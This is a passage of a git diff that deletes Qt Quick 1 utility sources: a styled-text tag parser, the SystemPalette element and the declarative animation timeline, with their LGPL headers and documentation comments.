tag.at(0); - if (char0 == QLatin1Char('b')) { - if (tagLength == 1) - format.setFontWeight(QFont::Bold); - else if (tagLength == 2 && tag.at(1) == QLatin1Char('r')) { - textOut.append(QChar(QChar::LineSeparator)); - return false; - } - } else if (char0 == QLatin1Char('i')) { - if (tagLength == 1) - format.setFontItalic(true); - } - return true; - } else if (ch->isSpace()) { - // may have params. - QStringRef tag(&textIn, tagStart, tagLength); - if (tag == QLatin1String("font")) - return parseFontAttributes(ch, textIn, format); - if (*ch == greaterThan || ch->isNull()) - continue; - } else if (*ch != slash){ - tagLength++; - } - ++ch; - } - - return false; -} - -bool QDeclarative1StyledTextPrivate::parseCloseTag(const QChar *&ch, const QString &textIn) -{ - skipSpace(ch); - - int tagStart = ch - textIn.constData(); - int tagLength = 0; - while (!ch->isNull()) { - if (*ch == greaterThan) { - QStringRef tag(&textIn, tagStart, tagLength); - const QChar char0 = tag.at(0); - if (char0 == QLatin1Char('b')) { - if (tagLength == 1) - return true; - else if (tag.at(1) == QLatin1Char('r') && tagLength == 2) - return true; - } else if (char0 == QLatin1Char('i')) { - if (tagLength == 1) - return true; - } else if (tag == QLatin1String("font")) { - return true; - } - return false; - } else if (!ch->isSpace()){ - tagLength++; - } - ++ch; - } - - return false; -} - -void QDeclarative1StyledTextPrivate::parseEntity(const QChar *&ch, const QString &textIn, QString &textOut) -{ - int entityStart = ch - textIn.constData(); - int entityLength = 0; - while (!ch->isNull()) { - if (*ch == QLatin1Char(';')) { - QStringRef entity(&textIn, entityStart, entityLength); - if (entity == QLatin1String("gt")) - textOut += QChar(62); - else if (entity == QLatin1String("lt")) - textOut += QChar(60); - else if (entity == QLatin1String("amp")) - textOut += QChar(38); - return; - } - ++entityLength; - ++ch; - } -} - -bool QDeclarative1StyledTextPrivate::parseFontAttributes(const QChar *&ch, const QString &textIn, QTextCharFormat &format) -{ - bool valid = false; - QPair attr; - do { - attr = parseAttribute(ch, textIn); - if (attr.first == QLatin1String("color")) { - valid = true; - format.setForeground(QColor(attr.second.toString())); - } else if (attr.first == QLatin1String("size")) { - valid = true; - int size = attr.second.toString().toInt(); - if (attr.second.at(0) == QLatin1Char('-') || attr.second.at(0) == QLatin1Char('+')) - size += 3; - if (size >= 1 && size <= 7) { - static const qreal scaling[] = { 0.7, 0.8, 1.0, 1.2, 1.5, 2.0, 2.4 }; - format.setFontPointSize(baseFont.pointSize() * scaling[size-1]); - } - } - } while (!ch->isNull() && !attr.first.isEmpty()); - - return valid; -} - -QPair QDeclarative1StyledTextPrivate::parseAttribute(const QChar *&ch, const QString &textIn) -{ - skipSpace(ch); - - int attrStart = ch - textIn.constData(); - int attrLength = 0; - while (!ch->isNull()) { - if (*ch == greaterThan) { - break; - } else if (*ch == equals) { - ++ch; - if (*ch != singleQuote && *ch != doubleQuote) { - while (*ch != greaterThan && !ch->isNull()) - ++ch; - break; - } - ++ch; - if (!attrLength) - break; - QStringRef attr(&textIn, attrStart, attrLength); - QStringRef val = parseValue(ch, textIn); - if (!val.isEmpty()) - return QPair(attr,val); - break; - } else { - ++attrLength; - } - ++ch; - } - - return QPair(); -} - -QStringRef QDeclarative1StyledTextPrivate::parseValue(const QChar *&ch, const QString &textIn) -{ - int valStart = ch - textIn.constData(); - int valLength = 0; - while (*ch != singleQuote && *ch != doubleQuote && !ch->isNull()) { - ++valLength; - ++ch; - } - if (ch->isNull()) - return QStringRef(); - ++ch; // skip quote - - return QStringRef(&textIn, valStart, valLength); -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/util/qdeclarativestyledtext_p.h b/src/qtquick1/util/qdeclarativestyledtext_p.h deleted file mode 100644 index 0725b5a4be..0000000000 --- a/src/qtquick1/util/qdeclarativestyledtext_p.h +++ /dev/null @@ -1,70 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVESTYLEDTEXT_H -#define QDECLARATIVESTYLEDTEXT_H - -#include - -QT_BEGIN_NAMESPACE - -class QPainter; -class QPointF; -class QString; -class QTextLayout; - -class QDeclarative1StyledTextPrivate; - -class Q_AUTOTEST_EXPORT QDeclarative1StyledText -{ -public: - static void parse(const QString &string, QTextLayout &layout); - -private: - QDeclarative1StyledText(const QString &string, QTextLayout &layout); - ~QDeclarative1StyledText(); - - QDeclarative1StyledTextPrivate *d; -}; - -QT_END_NAMESPACE - -#endif diff --git a/src/qtquick1/util/qdeclarativesystempalette.cpp b/src/qtquick1/util/qdeclarativesystempalette.cpp deleted file mode 100644 index 3db83fb7ee..0000000000 --- a/src/qtquick1/util/qdeclarativesystempalette.cpp +++ /dev/null @@ -1,317 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativesystempalette_p.h" - -#include - -#include - -QT_BEGIN_NAMESPACE - - - -class QDeclarative1SystemPalettePrivate : public QObjectPrivate -{ -public: - QPalette palette; - QPalette::ColorGroup group; -}; - - - -/*! - \qmlclass SystemPalette QDeclarative1SystemPalette - \inqmlmodule QtQuick 1 - \ingroup qml-utility-elements - \since QtQuick 1.0 - \brief The SystemPalette element provides access to the Qt palettes. - - The SystemPalette element provides access to the Qt application - palettes. This provides information about the standard colors used - for application windows, buttons and other features. These colors - are grouped into three \e {color groups}: \c Active, \c Inactive, - and \c Disabled. See the QPalette documentation for details about - color groups and the properties provided by SystemPalette. - - This can be used to color items in a way that provides a more - native look and feel. - - The following example creates a palette from the \c Active color - group and uses this to color the window and text items - appropriately: - - \snippet doc/src/snippets/qtquick1/systempalette.qml 0 - - \sa QPalette -*/ -QDeclarative1SystemPalette::QDeclarative1SystemPalette(QObject *parent) - : QObject(*(new QDeclarative1SystemPalettePrivate), parent) -{ - Q_D(QDeclarative1SystemPalette); - d->palette = QApplication::palette(); - d->group = QPalette::Active; - qApp->installEventFilter(this); -} - -QDeclarative1SystemPalette::~QDeclarative1SystemPalette() -{ -} - -/*! - \qmlproperty color QtQuick1::SystemPalette::window - The window (general background) color of the current color group. - - \sa QPalette::ColorRole -*/ -QColor QDeclarative1SystemPalette::window() const -{ - Q_D(const QDeclarative1SystemPalette); - return d->palette.color(d->group, QPalette::Window); -} - -/*! - \qmlproperty color QtQuick1::SystemPalette::windowText - The window text (general foreground) color of the current color group. - - \sa QPalette::ColorRole -*/ -QColor QDeclarative1SystemPalette::windowText() const -{ - Q_D(const QDeclarative1SystemPalette); - return d->palette.color(d->group, QPalette::WindowText); -} - -/*! - \qmlproperty color QtQuick1::SystemPalette::base - The base color of the current color group. - - \sa QPalette::ColorRole -*/ -QColor QDeclarative1SystemPalette::base() const -{ - Q_D(const QDeclarative1SystemPalette); - return d->palette.color(d->group, QPalette::Base); -} - -/*! - \qmlproperty color QtQuick1::SystemPalette::text - The text color of the current color group. - - \sa QPalette::ColorRole -*/ -QColor QDeclarative1SystemPalette::text() const -{ - Q_D(const QDeclarative1SystemPalette); - return d->palette.color(d->group, QPalette::Text); -} - -/*! - \qmlproperty color QtQuick1::SystemPalette::alternateBase - The alternate base color of the current color group. - - \sa QPalette::ColorRole -*/ -QColor QDeclarative1SystemPalette::alternateBase() const -{ - Q_D(const QDeclarative1SystemPalette); - return d->palette.color(d->group, QPalette::AlternateBase); -} - -/*! - \qmlproperty color QtQuick1::SystemPalette::button - The button color of the current color group. - - \sa QPalette::ColorRole -*/ -QColor QDeclarative1SystemPalette::button() const -{ - Q_D(const QDeclarative1SystemPalette); - return d->palette.color(d->group, QPalette::Button); -} - -/*! - \qmlproperty color QtQuick1::SystemPalette::buttonText - The button text foreground color of the current color group. - - \sa QPalette::ColorRole -*/ -QColor QDeclarative1SystemPalette::buttonText() const -{ - Q_D(const QDeclarative1SystemPalette); - return d->palette.color(d->group, QPalette::ButtonText); -} - -/*! - \qmlproperty color QtQuick1::SystemPalette::light - The light color of the current color group. - - \sa QPalette::ColorRole -*/ -QColor QDeclarative1SystemPalette::light() const -{ - Q_D(const QDeclarative1SystemPalette); - return d->palette.color(d->group, QPalette::Light); -} - -/*! - \qmlproperty color QtQuick1::SystemPalette::midlight - The midlight color of the current color group. - - \sa QPalette::ColorRole -*/ -QColor QDeclarative1SystemPalette::midlight() const -{ - Q_D(const QDeclarative1SystemPalette); - return d->palette.color(d->group, QPalette::Midlight); -} - -/*! - \qmlproperty color QtQuick1::SystemPalette::dark - The dark color of the current color group. - - \sa QPalette::ColorRole -*/ -QColor QDeclarative1SystemPalette::dark() const -{ - Q_D(const QDeclarative1SystemPalette); - return d->palette.color(d->group, QPalette::Dark); -} - -/*! - \qmlproperty color QtQuick1::SystemPalette::mid - The mid color of the current color group. - - \sa QPalette::ColorRole -*/ -QColor QDeclarative1SystemPalette::mid() const -{ - Q_D(const QDeclarative1SystemPalette); - return d->palette.color(d->group, QPalette::Mid); -} - -/*! - \qmlproperty color QtQuick1::SystemPalette::shadow - The shadow color of the current color group. - - \sa QPalette::ColorRole -*/ -QColor QDeclarative1SystemPalette::shadow() const -{ - Q_D(const QDeclarative1SystemPalette); - return d->palette.color(d->group, QPalette::Shadow); -} - -/*! - \qmlproperty color QtQuick1::SystemPalette::highlight - The highlight color of the current color group. - - \sa QPalette::ColorRole -*/ -QColor QDeclarative1SystemPalette::highlight() const -{ - Q_D(const QDeclarative1SystemPalette); - return d->palette.color(d->group, QPalette::Highlight); -} - -/*! - \qmlproperty color QtQuick1::SystemPalette::highlightedText - The highlighted text color of the current color group. - - \sa QPalette::ColorRole -*/ -QColor QDeclarative1SystemPalette::highlightedText() const -{ - Q_D(const QDeclarative1SystemPalette); - return d->palette.color(d->group, QPalette::HighlightedText); -} - -/*! - \qmlproperty enumeration QtQuick1::SystemPalette::colorGroup - - The color group of the palette. This can be one of: - - \list - \o SystemPalette.Active (default) - \o SystemPalette.Inactive - \o SystemPalette.Disabled - \endlist - - \sa QPalette::ColorGroup -*/ -QDeclarative1SystemPalette::ColorGroup QDeclarative1SystemPalette::colorGroup() const -{ - Q_D(const QDeclarative1SystemPalette); - return (QDeclarative1SystemPalette::ColorGroup)d->group; -} - -void QDeclarative1SystemPalette::setColorGroup(QDeclarative1SystemPalette::ColorGroup colorGroup) -{ - Q_D(QDeclarative1SystemPalette); - d->group = (QPalette::ColorGroup)colorGroup; - emit paletteChanged(); -} - -bool QDeclarative1SystemPalette::eventFilter(QObject *watched, QEvent *event) -{ - if (watched == qApp) { - if (event->type() == QEvent::ApplicationPaletteChange) { - QApplication::postEvent(this, new QEvent(QEvent::ApplicationPaletteChange)); - return false; - } - } - return QObject::eventFilter(watched, event); -} - -bool QDeclarative1SystemPalette::event(QEvent *event) -{ - Q_D(QDeclarative1SystemPalette); - if (event->type() == QEvent::ApplicationPaletteChange) { - d->palette = QApplication::palette(); - emit paletteChanged(); - return true; - } - return QObject::event(event); -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/util/qdeclarativesystempalette_p.h b/src/qtquick1/util/qdeclarativesystempalette_p.h deleted file mode 100644 index 439fb30a92..0000000000 --- a/src/qtquick1/util/qdeclarativesystempalette_p.h +++ /dev/null @@ -1,121 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVESYSTEMPALETTE_H -#define QDECLARATIVESYSTEMPALETTE_H - -#include - -#include -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QDeclarative1SystemPalettePrivate; -class Q_AUTOTEST_EXPORT QDeclarative1SystemPalette : public QObject -{ - Q_OBJECT - Q_ENUMS(ColorGroup) - Q_DECLARE_PRIVATE(QDeclarative1SystemPalette) - - Q_PROPERTY(QDeclarative1SystemPalette::ColorGroup colorGroup READ colorGroup WRITE setColorGroup NOTIFY paletteChanged) - Q_PROPERTY(QColor window READ window NOTIFY paletteChanged) - Q_PROPERTY(QColor windowText READ windowText NOTIFY paletteChanged) - Q_PROPERTY(QColor base READ base NOTIFY paletteChanged) - Q_PROPERTY(QColor text READ text NOTIFY paletteChanged) - Q_PROPERTY(QColor alternateBase READ alternateBase NOTIFY paletteChanged) - Q_PROPERTY(QColor button READ button NOTIFY paletteChanged) - Q_PROPERTY(QColor buttonText READ buttonText NOTIFY paletteChanged) - Q_PROPERTY(QColor light READ light NOTIFY paletteChanged) - Q_PROPERTY(QColor midlight READ midlight NOTIFY paletteChanged) - Q_PROPERTY(QColor dark READ dark NOTIFY paletteChanged) - Q_PROPERTY(QColor mid READ mid NOTIFY paletteChanged) - Q_PROPERTY(QColor shadow READ shadow NOTIFY paletteChanged) - Q_PROPERTY(QColor highlight READ highlight NOTIFY paletteChanged) - Q_PROPERTY(QColor highlightedText READ highlightedText NOTIFY paletteChanged) - -public: - QDeclarative1SystemPalette(QObject *parent=0); - ~QDeclarative1SystemPalette(); - - enum ColorGroup { Active = QPalette::Active, Inactive = QPalette::Inactive, Disabled = QPalette::Disabled }; - - QColor window() const; - QColor windowText() const; - - QColor base() const; - QColor text() const; - QColor alternateBase() const; - - QColor button() const; - QColor buttonText() const; - - QColor light() const; - QColor midlight() const; - QColor dark() const; - QColor mid() const; - QColor shadow() const; - - QColor highlight() const; - QColor highlightedText() const; - - QDeclarative1SystemPalette::ColorGroup colorGroup() const; - void setColorGroup(QDeclarative1SystemPalette::ColorGroup); - -Q_SIGNALS: - void paletteChanged(); - -private: - bool eventFilter(QObject *watched, QEvent *event); - bool event(QEvent *event); - -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1SystemPalette) - -QT_END_HEADER - -#endif // QDECLARATIVESYSTEMPALETTE_H diff --git a/src/qtquick1/util/qdeclarativetimeline.cpp b/src/qtquick1/util/qdeclarativetimeline.cpp deleted file mode 100644 index 87b63770e0..0000000000 --- a/src/qtquick1/util/qdeclarativetimeline.cpp +++ /dev/null @@ -1,951 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativetimeline_p_p.h" - -#include -#include -#include -#include -#include -#include -#include -#include - -QT_BEGIN_NAMESPACE - - - -struct Update { - Update(QDeclarative1TimeLineValue *_g, qreal _v) - : g(_g), v(_v) {} - Update(const QDeclarative1TimeLineCallback &_e) - : g(0), v(0), e(_e) {} - - QDeclarative1TimeLineValue *g; - qreal v; - QDeclarative1TimeLineCallback e; -}; - -struct QDeclarative1TimeLinePrivate -{ - QDeclarative1TimeLinePrivate(QDeclarative1TimeLine *); - - struct Op { - enum Type { - Pause, - Set, - Move, - MoveBy, - Accel, - AccelDistance, - Execute - }; - Op() {} - Op(Type t, int l, qreal v, qreal v2, int o, - const QDeclarative1TimeLineCallback &ev = QDeclarative1TimeLineCallback(), const QEasingCurve &es = QEasingCurve()) - : type(t), length(l), value(v), value2(v2), order(o), event(ev), - easing(es) {} - Op(const Op &o) - : type(o.type), length(o.length), value(o.value), value2(o.value2), - order(o.order), event(o.event), easing(o.easing) {} - Op &operator=(const Op &o) { - type = o.type; length = o.length; value = o.value; - value2 = o.value2; order = o.order; event = o.event; - easing = o.easing; - return *this; - } - - Type type; - int length; - qreal value; - qreal value2; - - int order; - QDeclarative1TimeLineCallback event; - QEasingCurve easing; - }; - struct TimeLine - { - TimeLine() : length(0), consumedOpLength(0), base(0.) {} - QList ops; - int length; - int consumedOpLength; - qreal base; - }; - - int length; - int syncPoint; - typedef QHash Ops; - Ops ops; - QDeclarative1TimeLine *q; - - void add(QDeclarative1TimeLineObject &, const Op &); - qreal value(const Op &op, int time, qreal base, bool *) const; - - int advance(int); - - bool clockRunning; - int prevTime; - - int order; - - QDeclarative1TimeLine::SyncMode syncMode; - int syncAdj; - QList > *updateQueue; -}; - -QDeclarative1TimeLinePrivate::QDeclarative1TimeLinePrivate(QDeclarative1TimeLine *parent) -: length(0), syncPoint(0), q(parent), clockRunning(false), prevTime(0), order(0), syncMode(QDeclarative1TimeLine::LocalSync), syncAdj(0), updateQueue(0) -{ -} - -void QDeclarative1TimeLinePrivate::add(QDeclarative1TimeLineObject &g, const Op &o) -{ - if (g._t && g._t != q) { - qWarning() << "QDeclarative1TimeLine: Cannot modify a QDeclarative1TimeLineValue owned by" - << "another timeline."; - return; - } - g._t = q; - - Ops::Iterator iter = ops.find(&g); - if (iter == ops.end()) { - iter = ops.insert(&g, TimeLine()); - if (syncPoint > 0) - q->pause(g, syncPoint); - } - if (!iter->ops.isEmpty() && - o.type == Op::Pause && - iter->ops.last().type == Op::Pause) { - iter->ops.last().length += o.length; - iter->length += o.length; - } else { - iter->ops.append(o); - iter->length += o.length; - } - - if (iter->length > length) - length = iter->length; - - if (!clockRunning) { - q->stop(); - prevTime = 0; - clockRunning = true; - - if (syncMode == QDeclarative1TimeLine::LocalSync) { - syncAdj = -1; - } else { - syncAdj = 0; - } - q->start(); -/* q->tick(0); - if (syncMode == QDeclarative1TimeLine::LocalSync) { - syncAdj = -1; - } else { - syncAdj = 0; - } - */ - } -} - -qreal QDeclarative1TimeLinePrivate::value(const Op &op, int time, qreal base, bool *changed) const -{ - Q_ASSERT(time >= 0); - Q_ASSERT(time <= op.length); - *changed = true; - - switch(op.type) { - case Op::Pause: - *changed = false; - return base; - case Op::Set: - return op.value; - case Op::Move: - if (time == 0) { - return base; - } else if (time == (op.length)) { - return op.value; - } else { - qreal delta = op.value - base; - qreal pTime = (qreal)(time) / (qreal)op.length; - if (op.easing.type() == QEasingCurve::Linear) - return base + delta * pTime; - else - return base + delta * op.easing.valueForProgress(pTime); - } - case Op::MoveBy: - if (time == 0) { - return base; - } else if (time == (op.length)) { - return base + op.value; - } else { - qreal delta = op.value; - qreal pTime = (qreal)(time) / (qreal)op.length; - if (op.easing.type() == QEasingCurve::Linear) - return base + delta * pTime; - else - return base + delta * op.easing.valueForProgress(pTime); - } - case Op::Accel: - if (time == 0) { - return base; - } else { - qreal t = (qreal)(time) / 1000.0f; - qreal delta = op.value * t + 0.5f * op.value2 * t * t; - return base + delta; - } - case Op::AccelDistance: - if (time == 0) { - return base; - } else if (time == (op.length)) { - return base + op.value2; - } else { - qreal t = (qreal)(time) / 1000.0f; - qreal accel = -1.0f * 1000.0f * op.value / (qreal)op.length; - qreal delta = op.value * t + 0.5f * accel * t * t; - return base + delta; - - } - case Op::Execute: - op.event.d0(op.event.d1); - *changed = false; - return -1; - } - - return base; -} - -/*! - \internal - \class QDeclarative1TimeLine - \brief The QDeclarative1TimeLine class provides a timeline for controlling animations. - - QDeclarative1TimeLine is similar to QTimeLine except: - \list - \i It updates QDeclarative1TimeLineValue instances directly, rather than maintaining a single - current value. - - For example, the following animates a simple value over 200 milliseconds: - \code - QDeclarative1TimeLineValue v(); - QDeclarative1TimeLine tl; - tl.move(v, 100., 200); - tl.start() - \endcode - - If your program needs to know when values are changed, it can either - connect to the QDeclarative1TimeLine's updated() signal, or inherit from QDeclarative1TimeLineValue - and reimplement the QDeclarative1TimeLineValue::setValue() method. - - \i Supports multiple QDeclarative1TimeLineValue, arbitrary start and end values and allows - animations to be strung together for more complex effects. - - For example, the following animation moves the x and y coordinates of - an object from wherever they are to the position (100, 100) in 50 - milliseconds and then further animates them to (100, 200) in 50 - milliseconds: - - \code - QDeclarative1TimeLineValue x(); - QDeclarative1TimeLineValue y(); - - QDeclarative1TimeLine tl; - tl.start(); - - tl.move(x, 100., 50); - tl.move(y, 100., 50); - tl.move(y, 200., 50); - \endcode - - \i All QDeclarative1TimeLine instances share a single, synchronized clock. - - Actions scheduled within the same event loop tick are scheduled - synchronously against each other, regardless of the wall time between the - scheduling. Synchronized scheduling applies both to within the same - QDeclarative1TimeLine and across separate QDeclarative1TimeLine's within the same process. - - \endlist - - Currently easing functions are not supported. -*/ - - -/*! - Construct a new QDeclarative1TimeLine with the specified \a parent. -*/ -QDeclarative1TimeLine::QDeclarative1TimeLine(QObject *parent) -: QAbstractAnimation(parent) -{ - d = new QDeclarative1TimeLinePrivate(this); -} - -/*! - Destroys the time line. Any inprogress animations are canceled, but not - completed. -*/ -QDeclarative1TimeLine::~QDeclarative1TimeLine() -{ - for (QDeclarative1TimeLinePrivate::Ops::Iterator iter = d->ops.begin(); - iter != d->ops.end(); - ++iter) - iter.key()->_t = 0; - - delete d; d = 0; -} - -/*! - \enum QDeclarative1TimeLine::SyncMode - */ - -/*! - Return the timeline's synchronization mode. - */ -QDeclarative1TimeLine::SyncMode QDeclarative1TimeLine::syncMode() const -{ - return d->syncMode; -} - -/*! - Set the timeline's synchronization mode to \a syncMode. - */ -void QDeclarative1TimeLine::setSyncMode(SyncMode syncMode) -{ - d->syncMode = syncMode; -} - -/*! - Pause \a obj for \a time milliseconds. -*/ -void QDeclarative1TimeLine::pause(QDeclarative1TimeLineObject &obj, int time) -{ - if (time <= 0) return; - QDeclarative1TimeLinePrivate::Op op(QDeclarative1TimeLinePrivate::Op::Pause, time, 0., 0., d->order++); - d->add(obj, op); -} - -/*! - Execute the \a event. - */ -void QDeclarative1TimeLine::callback(const QDeclarative1TimeLineCallback &callback) -{ - QDeclarative1TimeLinePrivate::Op op(QDeclarative1TimeLinePrivate::Op::Execute, 0, 0, 0., d->order++, callback); - d->add(*callback.callbackObject(), op); -} - -/*! - Set the \a value of \a timeLineValue. -*/ -void QDeclarative1TimeLine::set(QDeclarative1TimeLineValue &timeLineValue, qreal value) -{ - QDeclarative1TimeLinePrivate::Op op(QDeclarative1TimeLinePrivate::Op::Set, 0, value, 0., d->order++); - d->add(timeLineValue, op); -} - -/*! - Decelerate \a timeLineValue from the starting \a velocity to zero at the - given \a acceleration rate. Although the \a acceleration is technically - a deceleration, it should always be positive. The QDeclarative1TimeLine will ensure - that the deceleration is in the opposite direction to the initial velocity. -*/ -int QDeclarative1TimeLine::accel(QDeclarative1TimeLineValue &timeLineValue, qreal velocity, qreal acceleration) -{ - if (acceleration == 0.0f) - return -1; - - if ((velocity > 0.0f) == (acceleration > 0.0f)) - acceleration = acceleration * -1.0f; - - int time = static_cast(-1000 * velocity / acceleration); - - QDeclarative1TimeLinePrivate::Op op(QDeclarative1TimeLinePrivate::Op::Accel, time, velocity, acceleration, d->order++); - d->add(timeLineValue, op); - - return time; -} - -/*! - \overload - - Decelerate \a timeLineValue from the starting \a velocity to zero at the - given \a acceleration rate over a maximum distance of maxDistance. - - If necessary, QDeclarative1TimeLine will reduce the acceleration to ensure that the - entire operation does not require a move of more than \a maxDistance. - \a maxDistance should always be positive. -*/ -int QDeclarative1TimeLine::accel(QDeclarative1TimeLineValue &timeLineValue, qreal velocity, qreal acceleration, qreal maxDistance) -{ - if (maxDistance == 0.0f || acceleration == 0.0f) - return -1; - - Q_ASSERT(acceleration > 0.0f && maxDistance > 0.0f); - - qreal maxAccel = (velocity * velocity) / (2.0f * maxDistance); - if (maxAccel > acceleration) - acceleration = maxAccel; - - if ((velocity > 0.0f) == (acceleration > 0.0f)) - acceleration = acceleration * -1.0f; - - int time = static_cast(-1000 * velocity / acceleration); - - QDeclarative1TimeLinePrivate::Op op(QDeclarative1TimeLinePrivate::Op::Accel, time, velocity, acceleration, d->order++); - d->add(timeLineValue, op); - - return time; -} - -/*! - Decelerate \a timeLineValue from the starting \a velocity to zero over the given - \a distance. This is like accel(), but the QDeclarative1TimeLine calculates the exact - deceleration to use. - - \a distance should be positive. -*/ -int QDeclarative1TimeLine::accelDistance(QDeclarative1TimeLineValue &timeLineValue, qreal velocity, qreal distance) -{ - if (distance == 0.0f || velocity == 0.0f) - return -1; - - Q_ASSERT((distance >= 0.0f) == (velocity >= 0.0f)); - - int time = static_cast(1000 * (2.0f * distance) / velocity); - - QDeclarative1TimeLinePrivate::Op op(QDeclarative1TimeLinePrivate::Op::AccelDistance, time, velocity, distance, d->order++); - d->add(timeLineValue, op); - - return time; -} - -/*! - Linearly change the \a timeLineValue from its current value to the given - \a destination value over \a time milliseconds. -*/ -void QDeclarative1TimeLine::move(QDeclarative1TimeLineValue &timeLineValue, qreal destination, int time) -{ - if (time <= 0) return; - QDeclarative1TimeLinePrivate::Op op(QDeclarative1TimeLinePrivate::Op::Move, time, destination, 0.0f, d->order++); - d->add(timeLineValue, op); -} - -/*! - Change the \a timeLineValue from its current value to the given \a destination - value over \a time milliseconds using the \a easing curve. - */ -void QDeclarative1TimeLine::move(QDeclarative1TimeLineValue &timeLineValue, qreal destination, const QEasingCurve &easing, int time) -{ - if (time <= 0) return; - QDeclarative1TimeLinePrivate::Op op(QDeclarative1TimeLinePrivate::Op::Move, time, destination, 0.0f, d->order++, QDeclarative1TimeLineCallback(), easing); - d->add(timeLineValue, op); -} - -/*! - Linearly change the \a timeLineValue from its current value by the \a change amount - over \a time milliseconds. -*/ -void QDeclarative1TimeLine::moveBy(QDeclarative1TimeLineValue &timeLineValue, qreal change, int time) -{ - if (time <= 0) return; - QDeclarative1TimeLinePrivate::Op op(QDeclarative1TimeLinePrivate::Op::MoveBy, time, change, 0.0f, d->order++); - d->add(timeLineValue, op); -} - -/*! - Change the \a timeLineValue from its current value by the \a change amount over - \a time milliseconds using the \a easing curve. - */ -void QDeclarative1TimeLine::moveBy(QDeclarative1TimeLineValue &timeLineValue, qreal change, const QEasingCurve &easing, int time) -{ - if (time <= 0) return; - QDeclarative1TimeLinePrivate::Op op(QDeclarative1TimeLinePrivate::Op::MoveBy, time, change, 0.0f, d->order++, 